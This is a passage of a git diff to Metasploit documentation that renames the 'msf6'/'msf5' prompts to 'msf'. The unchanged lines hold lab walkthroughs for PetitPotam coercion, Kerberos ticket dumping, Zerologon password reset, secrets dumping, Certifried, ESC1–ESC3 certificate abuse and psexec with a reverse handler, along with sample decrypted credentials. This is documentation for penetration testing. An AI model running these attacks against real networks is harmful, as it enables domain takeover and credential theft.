auxiliary(scanner/dcerpc/petitpotam) > run [+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful [*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/dcerpc/petitpotam) > +msf auxiliary(scanner/dcerpc/petitpotam) > ``` If the module does not indicate that the attack was successful, another tool like @@ -150,12 +150,12 @@ from the compromised host. If the attack was successful there should be at least computer account. ``` -msf6 > use post/windows/manage/kerberos_tickets -msf6 post(windows/manage/kerberos_tickets) > set SESSION -1 +msf > use post/windows/manage/kerberos_tickets +msf post(windows/manage/kerberos_tickets) > set SESSION -1 SESSION => -1 -msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/* +msf post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/* SERVICE => krbtgt/* -msf6 post(windows/manage/kerberos_tickets) > run +msf post(windows/manage/kerberos_tickets) > run [*] LSA Handle: 0x000001efe1c415a0 [*] LogonSession LUID: 0x00004bc1d @@ -208,7 +208,7 @@ In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`. ``` -msf6 post(windows/manage/kerberos_tickets) > klist +msf post(windows/manage/kerberos_tickets) > klist Kerberos Cache ============== id host principal sname issued status path @@ -216,7 +216,7 @@ id host principal sname i 411 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin 407 192.168.159.10 WS01$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 15:14:46 -0400 active /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin -msf6 post(windows/manage/kerberos_tickets) > +msf post(windows/manage/kerberos_tickets) > ``` ### Using The Ticket diff --git a/documentation/cli/msfconsole/jobs.md b/documentation/cli/msfconsole/jobs.md index 1f07db9ec5915..ed8758fedadcd 100644 --- a/documentation/cli/msfconsole/jobs.md +++ b/documentation/cli/msfconsole/jobs.md @@ -81,12 +81,12 @@ Examples Starting a module as a job: - msf5 exploit(multi/handler) > run -j + msf exploit(multi/handler) > run -j [*] Exploit running as background job 1. A verbose listing of all the jobs: - msf5 exploit(multi/handler) > jobs -v + msf exploit(multi/handler) > jobs -v Jobs ==== @@ -97,16 +97,16 @@ A verbose listing of all the jobs: Set some jobs to be started on `msfconsole` start: - msf5 exploit(multi/handler) > jobs -p 1-2 + msf exploit(multi/handler) > jobs -p 1-2 Added persistence to job 1. Added persistence to job 2. Getting information about a specific job: - msf5 exploit(multi/handler) > jobs -i 1 + msf exploit(multi/handler) > jobs -i 1 Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600 - msf5 exploit(multi/handler) > jobs -i 1 -v + msf exploit(multi/handler) > jobs -i 1 -v Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600 diff --git a/documentation/cli/msfconsole/repeat.md b/documentation/cli/msfconsole/repeat.md index 455bc8802b7bf..e00543cb6c514 100644 --- a/documentation/cli/msfconsole/repeat.md +++ b/documentation/cli/msfconsole/repeat.md @@ -30,8 +30,8 @@ Examples Run the heartbleed module every 10 seconds against a server for an hour: - msf5 > use auxiliary/scanner/ssl/openssl_heartbleed - msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP + msf > use auxiliary/scanner/ssl/openssl_heartbleed + msf auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP # Set other options... - msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10 + msf auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10 diff --git a/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md index 7a86300c7cf55..2ee0d06e1567f 100644 --- a/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md +++ b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md @@ -107,10 +107,10 @@ fragments currently defined on the appliance as well as the current `ns.conf` fi Example run against config file without KEK from NetScaler VPX running NS11.0 Build 62.10.nc: ``` -msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt -msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf +msf > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt +msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf ns_conf => /tmp/ns.conf.NS11.0-62.10.conf -msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump +msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump [*] Config line: add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key -passcrypt "VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=" -expiryMonitor DISABLED @@ -141,20 +141,20 @@ add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -disp [+] User: wiz@cesium137.io [+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm [*] Auxiliary module execution completed -msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > +msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > ``` Example run against config file using KEK from NetScaler VPX running NS13.0 Build 85.15.nc: ``` -msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt -msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf +msf > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt +msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf ns_conf => /tmp/ns.conf -msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key +msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key ns_kek_f1 => /tmp/F1.key -msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key +msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key ns_kek_f2 => /tmp/F2.key -msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump +msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump [*] Building NetScaler KEK from key fragments ... [+] NS KEK F1 @@ -208,5 +208,5 @@ add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c599 [+] User: ldap [+] Pass: Gr33n3gg$ [*] Auxiliary module execution completed -msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > +msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > ``` diff --git a/documentation/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.md b/documentation/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.md index 3f9bcfc4d9b24..5c8453b979c7b 100644 --- a/documentation/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.md +++ b/documentation/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.md @@ -52,12 +52,12 @@ This value is only used when running the module with the `RESTORE` action. First, exploit the vulnerability to remove the machine account password by replacing it with an empty string. ``` -msf6 > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.159.53 +msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.159.53 RHOSTS => 192.168.159.53 -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME WIN-GD5KVDKUNIP +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME WIN-GD5KVDKUNIP NBNAME => WIN-GD5KVDKUNIP -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon): @@ -75,7 +75,7 @@ Auxiliary action: REMOVE Remove the machine account password -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run [*] Running module against 192.168.159.53 [*] 192.168.159.53: - Connecting to the endpoint mapper service... @@ -84,7 +84,7 @@ msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run [+] 192.168.159.53:6403 - Successfully authenticated [+] 192.168.159.53:6403 - Successfully set the machine account (WIN-GD5KVDKUNIP$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty) [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > ``` At this point the `exploit/windows/smb/psexec` module can be used to achieve code execution if desired. Set the `SMBUser` option to the @@ -94,14 +94,14 @@ Next, recover the original machine account password value using `auxiliary/gathe value in the `$MACHINE.ACC` section. ``` -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump -msf6 auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.168.159.53 +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump +msf auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.168.159.53 RHOSTS => 192.168.159.53 -msf6 auxiliary(gather/windows_secrets_dump) > set SMBUser WIN-GD5KVDKUNIP$ +msf auxiliary(gather/windows_secrets_dump) > set SMBUser WIN-GD5KVDKUNIP$ SMBUser => WIN-GD5KVDKUNIP$ -msf6 auxiliary(gather/windows_secrets_dump) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 +msf auxiliary(gather/windows_secrets_dump) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 SMBPass => aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -msf6 auxiliary(gather/windows_secrets_dump) > run +msf auxiliary(gather/windows_secrets_dump) > run [*] Running module against 192.168.159.53 [*] 192.168.159.53:445 - Service RemoteRegistry is already running @@ -131,18 +131,18 @@ EXCHG\WIN-GD5KVDKUNIP$:aad3b435b51404eeaad3b435b51404ee:ec3a7fa2158f1f705898d538 No cached hashes on this system [*] 192.168.159.53:445 - Cleaning up... [*] Auxiliary module execution completed -msf6 auxiliary(gather/windows_secrets_dump) > +msf auxiliary(gather/windows_secrets_dump) > ``` Finally, restore the original value using this module. ``` -msf6 auxiliary(gather/windows_secrets_dump) > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set ACTION RESTORE +msf auxiliary(gather/windows_secrets_dump) > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set ACTION RESTORE ACTION => RESTORE -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set PASSWORD 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set PASSWORD 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d PASSWORD => 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon): @@ -161,7 +161,7 @@ Auxiliary action: RESTORE Restore the machine account password -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run [*] Running module against 192.168.159.53 [*] 192.168.159.53: - Connecting to the endpoint mapper service... @@ -169,5 +169,5 @@ msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run [*] 192.168.159.53:6403 - Bound to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.159.53[6403] ... [+] 192.168.159.53:6403 - Successfully set machine account (WIN-GD5KVDKUNIP$) password [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > +msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > ``` diff --git a/documentation/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.md b/documentation/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.md index 48f244190feb0..928c383708daa 100644 --- a/documentation/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.md +++ b/documentation/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.md @@ -124,7 +124,7 @@ user set in the `IMPERSONATE` option (default is `Administrator`). ### Windows Server 2019 Domain Controller with ADCS installed ```msf -msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > run verbose=true rhosts=192.168.100.104 username=Test password=123456 domain=mylab.local dc_name=DC02 ca=mylab-DC02-CA +msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) > run verbose=true rhosts=192.168.100.104 username=Test password=123456 domain=mylab.local dc_name=DC02 ca=mylab-DC02-CA [*] Running module against 192.168.100.104 [*] 192.168.100.104:445 - Requesting the ms-DS-MachineAccountQuota value to see if we can add any computer accounts... @@ -169,7 +169,7 @@ msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > run verbose=true rhosts [!] 192.168.100.104:445 - Unable to delete the computer account, this will have to be done manually with an Administrator account (Could not delete the computer DESKTOP-E0SYYS6U$: Error returned while deleting user in SAM server: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.) [*] 192.168.100.104:445 - Disconnecting SMB [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > creds +msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) > creds Credentials =========== @@ -178,7 +178,7 @@ host origin service public private 192.168.100.104 192.168.100.104 445/tcp (smb) DESKTOP-E0SYYS6U$ 4PuZlX57aULpEKXUZisjp227G0W0Rdvi MYLAB Password 192.168.100.104 192.168.100.104 445/tcp (smb) dc02$ aad3b435b51404eeaad3b435b51404ee:a93d16873c9d49be9b1bce4359dcaa6d MYLAB.LOCAL NTLM hash nt,lm -msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > loot +msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) > loot Loot ==== @@ -192,7 +192,7 @@ host service type name content ### Using `psexec` with the TGS impersonating the Administrator ```msf -msf6 exploit(windows/smb/psexec) > exploit rhosts=192.168.100.104 lhost=192.168.100.1 smbuser=administrator smbdomain=mylab.local Smb::Auth=kerberos Smb::Rhostname=dc02.mylab.local DomainControllerRhost=192.168.100.104 +msf exploit(windows/smb/psexec) > exploit rhosts=192.168.100.104 lhost=192.168.100.1 smbuser=administrator smbdomain=mylab.local Smb::Auth=kerberos Smb::Rhostname=dc02.mylab.local DomainControllerRhost=192.168.100.104 [*] Started reverse TCP handler on 192.168.100.1:4444 diff --git a/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md b/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md index 39653f3d223c9..6e683567b0bce 100644 --- a/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md +++ b/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md @@ -73,14 +73,14 @@ For this module to work, it's necessary to know the name of a CA and certificate by a normal user via LDAP. ```msf -msf6 > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > set BIND_DN aliddle@msflab.local +msf > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > set BIND_DN aliddle@msflab.local BIND_DN => aliddle@msflab.local -msf6 auxiliary(gather/ldap_query) > set BIND_PW Password1! +msf auxiliary(gather/ldap_query) > set BIND_PW Password1! BIND_PW => Password1! -msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_AD_CS_CAS +msf auxiliary(gather/ldap_query) > set ACTION ENUM_AD_CS_CAS ACTION => ENUM_AD_CS_CAS -msf6 auxiliary(gather/ldap_query) > run +msf auxiliary(gather/ldap_query) > run [*] Running module against 192.168.159.10 [+] Successfully bound to the LDAP server! @@ -99,7 +99,7 @@ CN=msflab-DC-CA CN=Enrollment Services CN=Public Key Services CN=Services CN=Con name msflab-DC-CA [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > +msf auxiliary(gather/ldap_query) > ``` ### Issue A Generic Certificate @@ -107,18 +107,18 @@ In this scenario, an authenticated user issues a certificate for themselves usin by default. The user must know the CA name, which in this case is `msflab-DC-CA`. ```msf -msf6 > use auxiliary/admin/dcerpc/icpr_cert -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10 +msf > use auxiliary/admin/dcerpc/icpr_cert +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle SMBUser => aliddle -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1! +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1! SMBPass => Password1! -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA CA => msflab-DC-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User CERT_TEMPLATE => User -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol @@ -130,7 +130,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125053_default_unknown_windows.ad.cs_545696.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` ### Issue A Certificate With A Specific subjectAltName (AKA ESC1) @@ -154,24 +154,24 @@ See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910 information. ```msf -msf6 > use auxiliary/admin/dcerpc/icpr_cert -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10 +msf > use auxiliary/admin/dcerpc/icpr_cert +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle SMBUser => aliddle -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1! +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1! SMBPass => Password1! -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA CA => msflab-DC-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test CERT_TEMPLATE => ESC1-Test -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 +msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local +msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local ALT_UPN => smcintyre@msflab.local -msf6 auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true +msf auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true VERBOSE => true -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol @@ -183,7 +183,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608111432_default_192.168.159.10_windows.ad.cs_029062.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` ### Issue A Certificate With The *Any Purpose* EKU (AKA ESC2) @@ -202,18 +202,18 @@ information. The first step is to issue a certificate using the vulnerable certificate template. ```msf -msf6 > use auxiliary/admin/dcerpc/icpr_cert -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10 +msf > use auxiliary/admin/dcerpc/icpr_cert +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle SMBUser => aliddle -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1! +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1! SMBPass => Password1! -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA CA => msflab-DC-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Test +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Test CERT_TEMPLATE => ESC2-Test -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol @@ -223,7 +223,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [+] 192.168.159.10:445 - The requested certificate was issued. [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` #### Step 2 @@ -232,13 +232,13 @@ the target user. The `CERT_TEMPLATE` option is updated to one allowing authentic template. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx +msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx PFX => /home/smcintyre/.msf4/loot/20221107153602_default_unknown_windows.ad.cs_269882.pfx -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre +msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre ON_BEHALF_OF => MSFLAB\smcintyre -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User CERT_TEMPLATE => User -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol @@ -251,7 +251,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107153713_default_unknown_windows.ad.cs_275853.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` ### Issue A Certificate With The *Certificate Request Agent* EKU (AKA ESC3) @@ -270,18 +270,18 @@ request another certificate on behalf of the target account. The first step is to issue a certificate using the vulnerable certificate template. ```msf -msf6 > use auxiliary/admin/dcerpc/icpr_cert -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10 +msf > use auxiliary/admin/dcerpc/icpr_cert +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle SMBUser => aliddle -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1! +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1! SMBPass => Password1! -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA CA => msflab-DC-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Test +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Test CERT_TEMPLATE => ESC3-Test -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol @@ -293,7 +293,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` #### Step 2 @@ -302,13 +302,13 @@ the target user. The `CERT_TEMPLATE` option is updated to one allowing authentic template. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx +msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx PFX => /home/smcintyre/.msf4/loot/20221107154656_default_unknown_windows.ad.cs_831021.pfx -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre +msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF MSFLAB\\smcintyre ON_BEHALF_OF => MSFLAB\smcintyre -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User CERT_TEMPLATE => User -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol @@ -321,7 +321,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 192.168.159.10:445 - Certificate SID: 